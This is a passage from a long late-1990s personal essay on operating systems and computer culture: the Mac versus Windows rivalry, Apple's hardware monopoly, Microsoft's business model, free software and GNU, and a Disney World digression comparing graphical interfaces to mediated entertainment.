save a big important file on my Macintosh Powerbook and instead instead of doing so, it annihilated the data so thoroughly that two different disk crash utility programs were unable to find any trace that it had ever existed. During the intervening ten years, I had a passion for the MacOS that seemed righteous and reasonable at the time but in retrospect strikes me as being exactly the same sort of goofy infatuation that my friend's dad had with his car. The introduction of the Mac triggered a sort of holy war in the computer world. Were GUIs a brilliant design innovation that made computers more human-centered and therefore accessible to the masses, leading us toward an unprecedented revolution in human society, or an insulting bit of audiovisual gimcrackery dreamed up by flaky Bay Area hacker types that stripped computers of their power and flexibility and turned the noble and serious work of computing into a childish video game? This debate actually seems more interesting to me today than it did in the mid-1980s. But people more or less stopped debating it when Microsoft endorsed the idea of GUIs by coming out with the first Windows. At this point, command-line partisans were relegated to the status of silly old grouches, and a new conflict was touched off, between users of MacOS and users of Windows. There was plenty to argue about. The first Macintoshes looked different from other PCs even when they were turned off: they consisted of one box containing both CPU (the part of the computer that does arithmetic on bits) and monitor screen. This was billed, at the time, as a philosophical statement of sorts: Apple wanted to make the personal computer into an appliance, like a toaster. But it also reflected the purely technical demands of running a graphical user interface. In a GUI machine, the chips that draw things on the screen have to be integrated with the computer's central processing unit, or CPU, to a far greater extent than is the case with command-line interfaces, which until recently didn't even know that they weren't just talking to teletypes. This distinction was of a technical and abstract nature, but it became clearer when the machine crashed (it is commonly the case with technologies that you can get the best insight about how they work by watching them fail). When everything went to hell and the CPU began spewing out random bits, the result, on a CLI machine, was lines and lines of perfectly formed but random characters on the screen--known to cognoscenti as "going Cyrillic." But to the MacOS, the screen was not a teletype, but a place to put graphics; the image on the screen was a bitmap, a literal rendering of the contents of a particular portion of the computer's memory. When the computer crashed and wrote gibberish into the bitmap, the result was something that looked vaguely like static on a broken television set--a "snow crash." And even after the introduction of Windows, the underlying differences endured; when a Windows machine got into trouble, the old command-line interface would fall down over the GUI like an asbestos fire curtain sealing off the proscenium of a burning opera. When a Macintosh got into trouble it presented you with a cartoon of a bomb, which was funny the first time you saw it. And these were by no means superficial differences. The reversion of Windows to a CLI when it was in distress proved to Mac partisans that Windows was nothing more than a cheap facade, like a garish afghan flung over a rotted-out sofa. They were disturbed and annoyed by the sense that lurking underneath Windows' ostensibly user-friendly interface was--literally--a subtext. For their part, Windows fans might have made the sour observation that all computers, even Macintoshes, were built on that same subtext, and that the refusal of Mac owners to admit that fact to themselves seemed to signal a willingness, almost an eagerness, to be duped. Anyway, a Macintosh had to switch individual bits in the memory chips on the video card, and it had to do it very fast, and in arbitrarily complicated patterns. Nowadays this is cheap and easy, but in the technological regime that prevailed in the early 1980s, the only realistic way to do it was to build the motherboard (which contained the CPU) and the video system (which contained the memory that was mapped onto the screen) as a tightly integrated whole--hence the single, hermetically sealed case that made the Macintosh so distinctive. When Windows came out, it was conspicuous for its ugliness, and its current successors, Windows 95 and Windows NT, are not things that people would pay money to look at either. Microsoft's complete disregard for aesthetics gave all of us Mac-lovers plenty of opportunities to look down our noses at them. That Windows looked an awful lot like a direct ripoff of MacOS gave us a burning sense of moral outrage to go with it. Among people who really knew and appreciated computers (hackers, in Steven Levy's non-pejorative sense of that word) and in a few other niches such as professional musicians, graphic artists and schoolteachers, the Macintosh, for a while, was simply the computer. It was seen as not only a superb piece of engineering, but an embodiment of certain ideals about the use of technology to benefit mankind, while Windows was seen as a pathetically clumsy imitation and a sinister world domination plot rolled into one. So very early, a pattern had been established that endures to this day: people dislike Microsoft, which is okay; but they dislike it for reasons that are poorly considered, and in the end, self-defeating. CLASS STRUGGLE ON THE DESKTOP Now that the Third Rail has been firmly grasped, it is worth reviewing some basic facts here: like any other publicly traded, for-profit corporation, Microsoft has, in effect, borrowed a bunch of money from some people (its stockholders) in order to be in the bit business. As an officer of that corporation, Bill Gates has one responsibility only, which is to maximize return on investment. He has done this incredibly well. Any actions taken in the world by Microsoft-any software released by them, for example--are basically epiphenomena, which can't be interpreted or understood except insofar as they reflect Bill Gates's execution of his one and only responsibility. It follows that if Microsoft sells goods that are aesthetically unappealing, or that don't work very well, it does not mean that they are (respectively) philistines or half-wits. It is because Microsoft's excellent management has figured out that they can make more money for their stockholders by releasing stuff with obvious, known imperfections than they can by making it beautiful or bug-free. This is annoying, but (in the end) not half so annoying as watching Apple inscrutably and relentlessly destroy itself. Hostility towards Microsoft is not difficult to find on the Net, and it blends two strains: resentful people who feel Microsoft is too powerful, and disdainful people who think it's tacky. This is all strongly reminiscent of the heyday of Communism and Socialism, when the bourgeoisie were hated from both ends: by the proles, because they had all the money, and by the intelligentsia, because of their tendency to spend it on lawn ornaments. Microsoft is the very embodiment of modern high-tech prosperity--it is, in a word, bourgeois--and so it attracts all of the same gripes. The opening "splash screen" for Microsoft Word 6.0 summed it up pretty neatly: when you started up the program you were treated to a picture of an expensive enamel pen lying across a couple of sheets of fancy-looking handmade writing paper. It was obviously a bid to make the software look classy, and it might have worked for some, but it failed for me, because the pen was a ballpoint, and I'm a fountain pen man. If Apple had done it, they would've used a Mont Blanc fountain pen, or maybe a Chinese calligraphy brush. And I doubt that this was an accident. Recently I spent a while re-installing Windows NT on one of my home computers, and many times had to double-click on the "Control Panel" icon. For reasons that are difficult to fathom, this icon consists of a picture of a clawhammer and a chisel or screwdriver resting on top of a file folder. These aesthetic gaffes give one an almost uncontrollable urge to make fun of Microsoft, but again, it is all beside the point--if Microsoft had done focus group testing of possible alternative graphics, they probably would have found that the average mid-level office worker associated fountain pens with effete upper management toffs and was more comfortable with ballpoints. Likewise, the regular guys, the balding dads of the world who probably bear the brunt of setting up and maintaining home computers, can probably relate better to a picture of a clawhammer--while perhaps harboring fantasies of taking a real one to their balky computers. This is the only way I can explain certain peculiar facts about the current market for operating systems, such as that ninety percent of all customers continue to buy station wagons off the Microsoft lot while free tanks are there for the taking, right across the street. A string of ones and zeroes was not a difficult thing for Bill Gates to distribute, one he'd thought of the idea. The hard part was selling it--reassuring customers that they were actually getting something in return for their money. Anyone who has ever bought a piece of software in a store has had the curiously deflating experience of taking the bright shrink-wrapped box home, tearing it open, finding that it's 95 percent air, throwing away all the little cards, party favors, and bits of trash, and loading the disk into the computer. The end result (after you've lost the disk) is nothing except some images on a computer screen, and some capabilities that weren't there before. Sometimes you don't even have that--you have a string of error messages instead. But your money is definitely gone. Now we are almost accustomed to this, but twenty years ago it was a very dicey business proposition. Bill Gates made it work anyway. He didn't make it work by selling the best software or offering the cheapest price. Instead he somehow got people to believe that they were receiving something in exchange for their money. The streets of every city in the world are filled with those hulking, rattling station wagons. Anyone who doesn't own one feels a little weird, and wonders, in spite of himself, whether it might not be time to cease resistance and buy one; anyone who does, feels confident that he has acquired some meaningful possession, even on those days when the vehicle is up on a lift in an auto repair shop. All of this is perfectly congruent with membership in the bourgeoisie, which is as much a mental, as a material state. And it explains why Microsoft is regularly attacked, on the Net, from both sides. People who are inclined to feel poor and oppressed construe everything Microsoft does as some sinister Orwellian plot. People who like to think of themselves as intelligent and informed technology users are driven crazy by the clunkiness of Windows. Nothing is more annoying to sophisticated people to see someone who is rich enough to know better being tacky--unless it is to realize, a moment later, that they probably know they are tacky and they simply don't care and they are going to go on being tacky, and rich, and happy, forever. Microsoft therefore bears the same relationship to the Silicon Valley elite as the Beverly Hillbillies did to their fussy banker, Mr. Drysdale--who is irritated not so much by the fact that the Clampetts moved to his neighborhood as by the knowledge that, when Jethro is seventy years old, he's still going to be talking like a hillbilly and wearing bib overalls, and he's still going to be a lot richer than Mr. Drysdale. Even the hardware that Windows ran on, when compared to the machines put out by Apple, looked like white-trash stuff, and still mostly does. The reason was that Apple was and is a hardware company, while Microsoft was and is a software company. Apple therefore had a monopoly on hardware that could run MacOS, whereas Windows-compatible hardware came out of a free market. The free market seems to have decided that people will not pay for cool-looking computers; PC hardware makers who hire designers to make their stuff look distinctive get their clocks cleaned by Taiwanese clone makers punching out boxes that look as if they belong on cinderblocks in front of someone's trailer. But Apple could make their hardware as pretty as they wanted to and simply pass the higher prices on to their besotted consumers, like me. Only last week (I am writing this sentence in early Jan. 1999) the technology sections of all the newspapers were filled with adulatory press coverage of how Apple had released the iMac in several happenin' new colors like Blueberry and Tangerine. Apple has always insisted on having a hardware monopoly, except for a brief period in the mid-1990s when they allowed clone-makers to compete with them, before subsequently putting them out of business. Macintosh hardware was, consequently, expensive. You didn't open it up and fool around with it because doing so would void the warranty. In fact the first Mac was specifically designed to be difficult to open--you needed a kit of exotic tools, which you could buy through little ads that began to appear in the back pages of magazines a few months after the Mac came out on the market. These ads always had a certain disreputable air about them, like pitches for lock-picking tools in the backs of lurid detective magazines. This monopolistic policy can be explained in at least three different ways. THE CHARITABLE EXPLANATION is that the hardware monopoly policy reflected a drive on Apple's part to provide a seamless, unified blending of hardware, operating system, and software. There is something to this. It is hard enough to make an OS that works well on one specific piece of hardware, designed and tested by engineers who work down the hallway from you, in the same company. Making an OS to work on arbitrary pieces of hardware, cranked out by rabidly entrepeneurial clonemakers on the other side of the International Date Line, is very difficult, and accounts for much of the troubles people have using Windows. THE FINANCIAL EXPLANATION is that Apple, unlike Microsoft, is and always has been a hardware company. It simply depends on revenue from selling hardware, and cannot exist without it. THE NOT-SO-CHARITABLE EXPLANATION has to do with Apple's corporate culture, which is rooted in Bay Area Baby Boomdom. Now, since I'm going to talk for a moment about culture, full disclosure is probably in order, to protect myself against allegations of conflict of interest and ethical turpitude: (1) Geographically I am a Seattleite, of a Saturnine temperament, and inclined to take a sour view of the Dionysian Bay Area, just as they tend to be annoyed and appalled by us. (2) Chronologically I am a post-Baby Boomer. I feel that way, at least, because I never experienced the fun and exciting parts of the whole Boomer scene--just spent a lot of time dutifully chuckling at Boomers' maddeningly pointless anecdotes about just how stoned they got on various occasions, and politely fielding their assertions about how great their music was. But even from this remove it was possible to glean certain patterns, and one that recurred as regularly as an urban legend was the one about how someone would move into a commune populated by sandal-wearing, peace-sign flashing flower children, and eventually discover that, underneath this facade, the guys who ran it were actually control freaks; and that, as living in a commune, where much lip service was paid to ideals of peace, love and harmony, had deprived them of normal, socially approved outlets for their control-freakdom, it tended to come out in other, invariably more sinister, ways. Applying this to the case of Apple Computer will be left as an exercise for the reader, and not a very difficult exercise. It is a bit unsettling, at first, to think of Apple as a control freak, because it is completely at odds with their corporate image. Weren't these the guys who aired the famous Super Bowl ads showing suited, blindfolded executives marching like lemmings off a cliff? Isn't this the company that even now runs ads picturing the Dalai Lama (except in Hong Kong) and Einstein and other offbeat rebels? It is indeed the same company, and the fact that they have been able to plant this image of themselves as creative and rebellious free-thinkers in the minds of so many intelligent and media-hardened skeptics really gives one pause. It is testimony to the insidious power of expensive slick ad campaigns and, perhaps, to a certain amount of wishful thinking in the minds of people who fall for them. It also raises the question of why Microsoft is so bad at PR, when the history of Apple demonstrates that, by writing large checks to good ad agencies, you can plant a corporate image in the minds of intelligent people that is completely at odds with reality. (The answer, for people who don't like Damoclean questions, is that since Microsoft has won the hearts and minds of the silent majority--the bourgeoisie--they don't give a damn about having a slick image, any more then Dick Nixon did. "I want to believe,"--the mantra that Fox Mulder has pinned to his office wall in The X-Files--applies in different ways to these two companies; Mac partisans want to believe in the image of Apple purveyed in those ads, and in the notion that Macs are somehow fundamentally different from other computers, while Windows people want to believe that they are getting something for their money, engaging in a respectable business transaction). In any event, as of 1987, both MacOS and Windows were out on the market, running on hardware platforms that were radically different from each other--not only in the sense that MacOS used Motorola CPU chips while Windows used Intel, but in the sense--then overlooked, but in the long run, vastly more significant--that the Apple hardware business was a rigid monopoly and the Windows side was a churning free-for-all. But the full ramifications of this did not become clear until very recently--in fact, they are still unfolding, in remarkably strange ways, as I'll explain when we get to Linux. The upshot is that millions of people got accustomed to using GUIs in one form or another. By doing so, they made Apple/Microsoft a lot of money. The fortunes of many people have become bound up with the ability of these companies to continue selling products whose salability is very much open to question. HONEY-POT, TAR-PIT, WHATEVER When Gates and Allen invented the idea of selling software, they ran into criticism from both hackers and sober-sided businesspeople. Hackers understood that software was just information, and objected to the idea of selling it. These objections were partly moral. The hackers were coming out of the scientific and academic world where it is imperative to make the results of one's work freely available to the public. They were also partly practical; how can you sell something that can be easily copied? Businesspeople, who are polar opposites of hackers in so many ways, had objections of their own. Accustomed to selling toasters and insurance policies, they naturally had a difficult time understanding how a long collection of ones and zeroes could constitute a salable product. Obviously Microsoft prevailed over these objections, and so did Apple. But the objections still exist. The most hackerish of all the hackers, the Ur-hacker as it were, was and is Richard Stallman, who became so annoyed with the evil practice of selling software that, in 1984 (the same year that the Macintosh went on sale) he went off and founded something called the Free Software Foundation, which commenced work on something called GNU. Gnu is an acronym for Gnu's Not Unix, but this is a joke in more ways than one, because GNU most certainly IS Unix,. Because of trademark concerns ("Unix" is trademarked by AT&T) they simply could not claim that it was Unix, and so, just to be extra safe, they claimed that it wasn't. Notwithstanding the incomparable talent and drive possessed by Mr. Stallman and other GNU adherents, their project to build a free Unix to compete against Microsoft and Apple's OSes was a little bit like trying to dig a subway system with a teaspoon. Until, that is, the advent of Linux, which I will get to later. But the basic idea of re-creating an operating system from scratch was perfectly sound and completely doable. It has been done many times. It is inherent in the very nature of operating systems. Operating systems are not strictly necessary. There is no reason why a sufficiently dedicated coder could not start from nothing with every project and write fresh code to handle such basic, low-level operations as controlling the read/write heads on the disk drives and lighting up pixels on the screen. The very first computers had to be programmed in this way. But since nearly every program needs to carry out those same basic operations, this approach would lead to vast duplication of effort. Nothing is more disagreeable to the hacker than duplication of effort. The first and most important mental habit that people develop when they learn how to write computer programs is to generalize, generalize, generalize. To make their code as modular and flexible as possible, breaking large problems down into small subroutines that can be used over and over again in different contexts. Consequently, the development of operating systems, despite being technically unnecessary, was inevitable. Because at its heart, an operating system is nothing more than a library containing the most commonly used code, written once (and hopefully written well) and then made available to every coder who needs it. So a proprietary, closed, secret operating system is a contradiction in terms. It goes against the whole point of having an operating system. And it is impossible to keep them secret anyway. The source code--the original lines of text written by the programmers--can be kept secret. But an OS as a whole is a collection of small subroutines that do very specific, very clearly defined jobs. Exactly what those subroutines do has to be made public, quite explicitly and exactly, or else the OS is completely useless to programmers; they can't make use of those subroutines if they don't have a complete and perfect understanding of what the subroutines do. The only thing that isn't made public is exactly how the subroutines do what they do. But once you know what a subroutine does, it's generally quite easy (if you are a hacker) to write one of your own that does exactly the same thing. It might take a while, and it is tedious and unrewarding, but in most cases it's not really hard. What's hard, in hacking as in fiction, is not writing; it's deciding what to write. And the vendors of commercial OSes have already decided, and published their decisions. This has been generally understood for a long time. MS-DOS was duplicated, functionally, by a rival product, written from scratch, called ProDOS, that did all of the same things in pretty much the same way. In other words, another company was able to write code that did all of the same things as MS-DOS and sell it at a profit. If you are using the Linux OS, you can get a free program called WINE which is a windows emulator; that is, you can open up a window on your desktop that runs windows programs. It means that a completely functional Windows OS has been recreated inside of Unix, like a ship in a bottle. And Unix itself, which is vastly more sophisticated than MS-DOS, has been built up from scratch many times over. Versions of it are sold by Sun, Hewlett-Packard, AT&T, Silicon Graphics, IBM, and others. People have, in other words, been re-writing basic OS code for so long that all of the technology that constituted an "operating system" in the traditional (pre-GUI) sense of that phrase is now so cheap and common that it's literally free. Not only could Gates and Allen not sell MS-DOS today, they could not even give it away, because much more powerful OSes are already being given away. Even the original Windows (which was the only windows until 1995) has become worthless, in that there is no point in owning something that can be emulated inside of Linux--which is, itself, free. In this way the OS business is very different from, say, the car business. Even an old rundown car has some value. You can use it for making runs to the dump, or strip it for parts. It is the fate of manufactured goods to slowly and gently depreciate as they get old and have to compete against more modern products. But it is the fate of operating systems to become free. Microsoft is a great software applications company. Applications--such as Microsoft Word--are an area where innovation brings real, direct, tangible benefits to users. The innovations might be new technology straight from the research department, or they might be in the category of bells and whistles, but in any event they are frequently useful and they seem to make users happy. And Microsoft is in the process of becoming a great research company. But Microsoft is not such a great operating systems company. And this is not necessarily because their operating systems are all that bad from a purely technological standpoint. Microsoft's OSes do have their problems, sure, but they are vastly better than they used to be, and they are adequate for most people. Why, then, do I say that Microsoft is not such a great operating systems company? Because the very nature of operating systems is such that it is senseless for them to be developed and owned by a specific company. It's a thankless job to begin with. Applications create possibilities for millions of credulous users, whereas OSes impose limitations on thousands of grumpy coders, and so OS-makers will forever be on the shit-list of anyone who counts for anything in the high-tech world. Applications get used by people whose big problem is understanding all of their features, whereas OSes get hacked by coders who are annoyed by their limitations. The OS business has been good to Microsoft only insofar as it has given them the money they needed to launch a really good applications software business and to hire a lot of smart researchers. Now it really ought to be jettisoned, like a spent booster stage from a rocket. The big question is whether Microsoft is capable of doing this. Or is it addicted to OS sales in the same way as Apple is to selling hardware? Keep in mind that Apple's ability to monopolize its own hardware supply was once cited, by learned observers, as a great advantage over Microsoft. At the time, it seemed to place them in a much stronger position. In the end, it nearly killed them, and may kill them yet. The problem, for Apple, was that most of the world's computer users ended up owning cheaper hardware. But cheap hardware couldn't run MacOS, and so these people switched to Windows. Replace "hardware" with "operating systems," and "Apple" with "Microsoft" and you can see the same thing about to happen all over again. Microsoft dominates the OS market, which makes them money and seems like a great idea for now. But cheaper and better OSes are available, and they are growingly popular in parts of the world that are not so saturated with computers as the US. Ten years from now, most of the world's computer users may end up owning these cheaper OSes. But these OSes do not, for the time being, run any Microsoft applications, and so these people will use something else. To put it more directly: every time someone decides to use a non-Microsoft OS, Microsoft's OS division, obviously, loses a customer. But, as things stand now, Microsoft's applications division loses a customer too. This is not such a big deal as long as almost everyone uses Microsoft OSes. But as soon as Windows' market share begins to slip, the math starts to look pretty dismal for the people in Redmond. This argument could be countered by saying that Microsoft could simply re-compile its applications to run under other OSes. But this strategy goes against most normal corporate instincts. Again the case of Apple is instructive. When things started to go south for Apple, they should have ported their OS to cheap PC hardware. But they didn't. Instead, they tried to make the most of their brilliant hardware, adding new features and expanding the product line. But this only had the effect of making their OS more dependent on these special hardware features, which made it worse for them in the end. Likewise, when Microsoft's position in the OS world is threatened, their corporate instincts will tell them to pile more new features into their operating systems, and then re-jigger their software applications to exploit those special features. But this will only have the effect of making their applications dependent on an OS with declining market share, and make it worse for them in the end. The operating system market is a death-trap, a tar-pit, a slough of despond. There are only two reasons to invest in Apple and Microsoft. (1) each of these companies is in what we would call a co-dependency relationship with their customers. The customers Want To Believe, and Apple and Microsoft know how to give them what they want. (2) each company works very hard to add new features to their OSes, which works to secure customer loyalty, at least for a little while. Accordingly, most of the remainder of this essay will be about those two topics. THE TECHNOSPHERE Unix is the only OS remaining whose GUI (a vast suite of code called the X Windows System) is separate from the OS in the old sense of the phrase. This is to say that you can run Unix in pure command-line mode if you want to, with no windows, icons, mouses, etc. whatsoever, and it will still be Unix and capable of doing everything Unix is supposed to do. But the other OSes: MacOS, the Windows family, and BeOS, have their GUIs tangled up with the old-fashioned OS functions to the extent that they have to run in GUI mode, or else they are not really running. So it's no longer really possible to think of GUIs as being distinct from the OS; they're now an inextricable part of the OSes that they belong to--and they are by far the largest part, and by far the most expensive and difficult part to create. There are only two ways to sell a product: price and features. When OSes are free, OS companies cannot compete on price, and so they compete on features. This means that they are always trying to outdo each other writing code that, until recently, was not considered to be part of an OS at all: stuff like GUIs. This explains a lot about how these companies behave. It explains why Microsoft added a browser to their OS, for example. It is easy to get free browsers, just as to get free OSes. If browsers are free, and OSes are free, it would seem that there is no way to make money from browsers or OSes. But if you can integrate a browser into the OS and thereby imbue both of them with new features, you have a salable product. Setting aside, for the moment, the fact that this makes government anti-trust lawyers really mad, this strategy makes sense. At least, it makes sense if you assume (as Microsoft's management appears to) that the OS has to be protected at all costs. The real question is whether every new technological trend that comes down the pike ought to be used as a crutch to maintain the OS's dominant position. Confronted with the Web phenomenon, Microsoft had to develop a really good web browser, and they did. But then they had a choice: they could have made that browser work on many different OSes, which would give Microsoft a strong position in the Internet world no matter what happened to their OS market share. Or they could make the browser one with the OS, gambling that this would make the OS look so modern and sexy that it would help to preserve their dominance in that market. The problem is that when Microsoft's OS position begins to erode (and since it is currently at something like ninety percent, it can't go anywhere but down) it will drag everything else down with it. In your high school geology class you probably were taught that all life on earth exists in a paper-thin shell called the biosphere, which is trapped between thousands of miles of dead rock underfoot, and cold dead radioactive empty space above. Companies that sell OSes exist in a sort of technosphere. Underneath is technology that has already become free. Above is technology that has yet to be developed, or that is too crazy and speculative to be productized just yet. Like the Earth's biosphere, the technosphere is very thin compared to what is above and what is below. But it moves a lot faster. In various parts of our world, it is possible to go and visit rich fossil beds where skeleton lies piled upon skeleton, recent ones on top and more ancient ones below. In theory they go all the way back to the first single-celled organisms. And if you use your imagination a bit, you can understand that, if you hang around long enough, you'll become fossilized there too, and in time some more advanced organism will become fossilized on top of you. The fossil record--the La Brea Tar Pit--of software technology is the Internet. Anything that shows up there is free for the taking (possibly illegal, but free). Executives at companies like Microsoft must get used to the experience--unthinkable in other industries--of throwing millions of dollars into the development of new technologies, such as Web browsers, and then seeing the same or equivalent software show up on the Internet two years, or a year, or even just a few months, later. By continuing to develop new technologies and add features onto their products they can keep one step ahead of the fossilization process, but on certain days they must feel like mammoths caught at La Brea, using all their energies to pull their feet, over and over again, out of the sucking hot tar that wants to cover and envelop them. Survival in this biosphere demands sharp tusks and heavy, stomping feet at one end of the organization, and Microsoft famously has those. But trampling the other mammoths into the tar can only keep you alive for so long. The danger is that in their obsession with staying out of the fossil beds, these companies will forget about what lies above the biosphere: the realm of new technology. In other words, they must hang onto their primitive weapons and crude competitive instincts, but also evolve powerful brains. This appears to be what Microsoft is doing with its research division, which has been hiring smart people right and left (Here I should mention that although I know, and socialize with, several people in that company's research division, we never talk about business issues and I have little to no idea what the hell they are up to. I have learned much more about Microsoft by using the Linux operating system than I ever would have done by using Windows). Never mind how Microsoft used to make money; today, it is making its money on a kind of temporal arbitrage. "Arbitrage," in the usual sense, means to make money by taking advantage of differences in the price of something between different markets. It is spatial, in other words, and hinges on the arbitrageur knowing what is going on simultaneously in different places. Microsoft is making money by taking advantage of differences in the price of technology in different times. Temporal arbitrage, if I may coin a phrase, hinges on the arbitrageur knowing what technologies people will pay money for next year, and how soon afterwards those same technologies will become free. What spatial and temporal arbitrage have in common is that both hinge on the arbitrageur's being extremely well-informed; one about price gradients across space at a given time, and the other about price gradients over time in a given place. So Apple/Microsoft shower new features upon their users almost daily, in the hopes that a steady stream of genuine technical innovations, combined with the "I want to believe" phenomenon, will prevent their customers from looking across the road towards the cheaper and better OSes that are available to them. The question is whether this makes sense in the long run. If Microsoft is addicted to OSes as Apple is to hardware, then they will bet the whole farm on their OSes, and tie all of their new applications and technologies to them. Their continued survival will then depend on these two things: adding more features to their OSes so that customers will not switch to the cheaper alternatives, and maintaining the image that, in some mysterious way, gives those customers the feeling that they are getting something for their money. The latter is a truly strange and interesting cultural phenomenon. THE INTERFACE CULTURE A few years ago I walked into a grocery store somewhere and was presented with the following tableau vivant: near the entrance a young couple were standing in front of a large cosmetics display. The man was stolidly holding a shopping basket between his hands while his mate raked blister-packs of makeup off the display and piled them in. Since then I've always thought of that man as the personification of an interesting human tendency: not only are we not offended to be dazzled by manufactured images, but we like it. We practically insist on it. We are eager to be complicit in our own dazzlement: to pay money for a theme park ride, vote for a guy who's obviously lying to us, or stand there holding the basket as it's filled up with cosmetics. I was in Disney World recently, specifically the part of it called the Magic Kingdom, walking up Main Street USA. This is a perfect gingerbready Victorian small town that culminates in a Disney castle. It was very crowded; we shuffled rather than walked. Directly in front of me was a man with a camcorder. It was one of the new breed of camcorders where instead of peering through a viewfinder you gaze at a flat-panel color screen about the size of a playing card, which televises live coverage of whatever the camcorder is seeing. He was holding the appliance close to his face, so that it obstructed his view. Rather than go see a real small town for free, he had paid money to see a pretend one, and rather than see it with the naked eye he was watching it on television. And rather than stay home and read a book, I was watching him. Americans' preference for mediated experiences is obvious enough, and I'm not going to keep pounding it into the ground. I'm not even going to make snotty comments about it--after all, I was at Disney World as a paying customer. But it clearly relates to the colossal success of GUIs and so I have to talk about it some. Disney does mediated experiences better than anyone. If they understood what OSes are, and why people use them, they could crush Microsoft in a year or two. In the part of Disney World called the Animal Kingdom there is a new attraction, slated to open in March 1999, called the Maharajah Jungle Trek. It was open for sneak previews when I was there. This is a complete stone-by-stone reproduction of a hypothetical ruin in the jungles of India. According to its backstory, it was built by a local rajah in the 16th Century as a game reserve. He would go there with his princely guests to hunt Bengal tigers. As time went on it fell into disrepair and the tigers and monkeys took it over; eventually, around the time of India's independence, it became a government wildlife reserve, now open to visitors. The place looks more like what I have just described than any actual building you might find in India. All the stones in the broken walls are weathered as if monsoon rains had been trickling down them for centuries, the paint on the gorgeous murals is flaked and faded just so, and Bengal tigers loll amid stumps of broken columns. Where modern repairs have been made to the ancient structure, they've been done, not as Disney's engineers would do them, but as thrifty Indian janitors would--with hunks of bamboo and rust-spotted hunks of rebar. The rust is painted on, or course, and protected from real rust by a plastic clear-coat, but you can't tell unless you get down on your knees. In one place you walk along a stone wall with a series of old pitted friezes carved into it. One end of the wall has broken off and settled into the earth, perhaps because of some long-forgotten earthquake, and so a broad jagged crack runs across a panel or two, but the story is still readable: first, primordial chaos leads to a flourishing of many animal species. Next, we see the Tree of Life surrounded by diverse animals. This is an obvious allusion (or, in showbiz lingo, a tie-in) to the gigantic Tree of Life that dominates the center of Disney's Animal Kingdom just as the Castle dominates the Magic Kingdom or the Sphere does Epcot. But it's rendered in historically correct style and could probably fool anyone who didn't have a Ph.D. in Indian art history. The next panel shows a mustachioed H. sapiens chopping down the Tree of Life with a scimitar, and the animals fleeing every which way. The one after that shows the misguided human getting walloped by a tidal wave, part of a latter-day Deluge presumably brought on by his stupidity. The final panel, then, portrays the Sapling of Life beginning to grow back, but now Man has ditched the edged weapon and joined the other animals in standing around to adore and praise it. It is, in other words, a prophecy of the Bottleneck: the scenario, commonly espoused among modern-day environmentalists, that the world faces an upcoming period of grave ecological tribulations that will last for a few decades or centuries and end when we find a new harmonious modus vivendi with Nature. Taken as a whole the frieze is a pretty brilliant piece of work. Obviously it's not an ancient Indian ruin, and some person or people now living deserve credit for it. But there are no signatures on the Maharajah's game reserve at Disney World. There are no signatures on anything, because it would ruin the whole effect to have long strings of production credits dangling from every custom-worn brick, as they do from Hollywood movies. Among Hollywood writers, Disney has the reputation of being a real wicked stepmother. It's not hard to see why. Disney is in the business of putting out a product of seamless illusion--a magic mirror that reflects the world back better than it really is. But a writer is literally talking to his or her readers, not just creating an ambience or presenting them with something to look at; and just as the command-line interface opens a much more direct and explicit channel from user to machine than the GUI, so it is with words, writer, and reader. The word, in the end, is the only system of encoding thoughts--the only medium--that is not fungible, that refuses to dissolve in the devouring torrent of electronic media (the richer tourists at Disney World wear t-shirts printed with the names of famous designers, because designs themselves can be bootlegged easily and with impunity. The only way to make clothing that cannot be legally bootlegged is to print copyrighted and trademarked words on it; once you have taken that step, the clothing itself doesn't really matter, and so a t-shirt is as good as anything else. T-shirts with expensive words on them are now the insignia of the upper class. T-shirts with cheap words, or no words at all, are for the commoners). But this special quality of words and of written communication would have the same effect on Disney's product as spray-painted graffiti on a magic mirror. So Disney does most of its communication without resorting to words, and for the most part, the words aren't missed. Some of Disney's older properties, such as Peter Pan, Winnie the Pooh, and Alice in Wonderland, came out of books. But the authors' names are rarely if ever mentioned, and you can't buy the original books at the Disney store. If you could, they would all seem old and queer, like very bad knockoffs of the purer, more authentic Disney versions. Compared to more recent productions like Beauty and the Beast and Mulan, the Disney movies based on these books (particularly Alice in Wonderland and Peter Pan) seem deeply bizarre, and not wholly appropriate for children. That stands to reason, because Lewis Carroll and J.M. Barrie were very strange men, and such is the nature of the written word that their personal strangeness shines straight through all the layers of Disneyfication like x-rays through a wall. Probably for this very reason, Disney seems to have stopped buying books altogether, and now finds its themes and characters in folk tales, which have the lapidary, time-worn quality of the ancient bricks in the Maharajah's ruins. If I can risk a broad generalization, most of the people who go to Disney World have zero interest in absorbing new ideas from books. Which sounds snide, but listen: they have no qualms about being presented with ideas in other forms. Disney World is stuffed with environmental messages now, and the guides at Animal Kingdom can talk your ear off about biology. If you followed those tourists home, you might find art, but it would be the sort of unsigned folk art that's for sale in Disney World's African- and Asian-themed stores. In general they only seem comfortable with media that have been ratified by great age, massive popular acceptance, or both. In this world, artists are like the anonymous, illiterate stone carvers who built the great cathedrals of Europe and then faded away into unmarked graves in the churchyard. The cathedral as a whole is awesome and stirring in spite, and possibly because, of the fact that we have no idea who built it. When we walk through it we are communing not with individual stone carvers but with an entire culture. Disney World works the same way. If you are an intellectual type, a reader or writer of books, the nicest thing you can say about this is that the execution is superb. But it's easy to find the whole environment a little creepy, because something is missing: the translation of all its content into clear explicit written words, the attribution of the ideas to specific people. You can't argue with it. It seems as if a hell of a lot might be being glossed over, as if Disney World might be putting one over on us, and possibly getting away with all kinds of buried assumptions and muddled thinking. But this is precisely the same as what is lost in the transition from the command-line interface to the GUI. Disney and Apple/Microsoft are in the same business: short-circuiting laborious, explicit verbal communication with expensively designed interfaces. Disney is a sort of user interface unto itself--and more than just graphical. Let's call it a Sensorial Interface. It can be applied to anything in the world, real or imagined, albeit at staggering expense. Why are we rejecting explicit word-based interfaces, and embracing graphical or sensorial ones--a trend that accounts for the success of both Microsoft and Disney? Part of it is simply that the world is very complicated now--much more complicated than the hunter-gatherer world that our brains evolved to cope with--and we simply can't handle all of the details. We have to delegate. We have no choice but to trust some nameless artist at Disney or programmer at Apple or Microsoft to make a few choices for us, close off some options, and give us a conveniently packaged executive summary. But more importantly, it comes out of the fact that, during this century, intellectualism failed, and everyone knows it. In places like Russia and Germany, the common people agreed to loosen their grip on traditional folkways, mores, and religion, and let the intellectuals run with the ball, and they screwed everything up and turned the century into an abbatoir. Those wordy intellectuals used to be merely tedious; now they seem kind of dangerous as well. We Americans are the only ones who didn't get creamed at some point during all of this. We are free and prosperous because we have inherited political and values systems fabricated by a particular set of eighteenth-century intellectuals who happened to get it right. But we have lost touch with those intellectuals, and with anything like intellectualism, even to the point of not reading books any more, though we are 